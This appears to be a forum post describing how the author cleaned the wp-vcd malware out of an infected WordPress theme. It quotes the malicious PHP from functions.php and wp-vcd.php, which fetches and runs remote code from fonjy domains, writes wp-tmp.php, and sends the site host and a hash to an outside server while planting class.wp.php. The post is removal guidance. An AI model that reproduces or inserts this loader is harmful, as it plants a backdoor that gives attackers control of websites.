Hello,
Today I have found a way to clean-up one of a PHP Theme that pops-up ads from time to time on your website.
so just in case anyone will look for the same problem solving - here what I did for it:
- in my case it created wp-tmp.php file under the theme folder so I searched for the file name inside of each file:
grep --include=*.php -rn . -e "wp-tmp.php"
it will show you something like that:
./wp-content/themes/betheme/functions.php:106: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
./wp-content/themes/betheme/functions.php:108: if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
./wp-content/themes/betheme/functions.php:109: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
./wp-content/themes/betheme/functions.php:110: if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
./wp-content/themes/betheme/functions.php:111: @file_put_contents('wp-tmp.php', $tmpcontent);
./wp-content/themes/betheme/functions.php:123: @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
./wp-content/themes/betheme/functions.php:125: if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
./wp-content/themes/betheme/functions.php:126: @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
./wp-content/themes/betheme/functions.php:127: if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
./wp-content/themes/betheme/functions.php:128: @file_put_contents('wp-tmp.php', $tmpcontent);
./wp-content/themes/betheme/functions.php:133: } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
./wp-content/themes/betheme/functions.php:136: } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
./wp-content/themes/betheme/functions.php:139: } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
btw, do not forget to delete all wp-tmp.php files :)
- after that open the functions.php file and remove the following lines:
$wp_auth_key='ee10bb8873fd72fe5d1585ebddeeae7e';
if (($tmpcontent = @file_get_contents("https://www.fonjy.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
}
elseif ($tmpcontent = @file_get_contents("https://www.fonjy.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
@file_put_contents('wp-tmp.php', $tmpcontent);
}
}
}
} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
} elseif (($tmpcontent = @file_get_contents("https://www.fonjy.top/code.php") OR $tmpcontent = @file_get_contents_tcurl("https://www.fonjy.top/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {
extract(theme_temp_setup($tmpcontent));
}
in my case it was starting on 101 line number.
- now run the following command:
grep --include=*.php -rn . -e "fonjy"
and you should get something similar to:
./wp-includes/wp-vcd.php:83: $content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
./wp-includes/wp-vcd.php:84: @file_put_contents(ABSPATH . '/wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));
./wp-includes/wp-vcd.php:88: $content = @file_get_contents('https://www.fonjy.cc/o.php?host=' . $_SERVER["HTTP_HOST"] . '&password=' . $install_hash);
./wp-includes/wp-vcd.php:89: @file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('https://www.fonjy.cc/admin.txt'));
I removed the wp-vcd.php file completely and the class.wp.php as well (even it was in 0 size)
Now it should not return back to you website anymore (do not forget to remove 777 permission everywhere)
Thank you for reading it and see you
1vqHSTrq1GEoEF7QsL8dhmJfRMDVxhv2y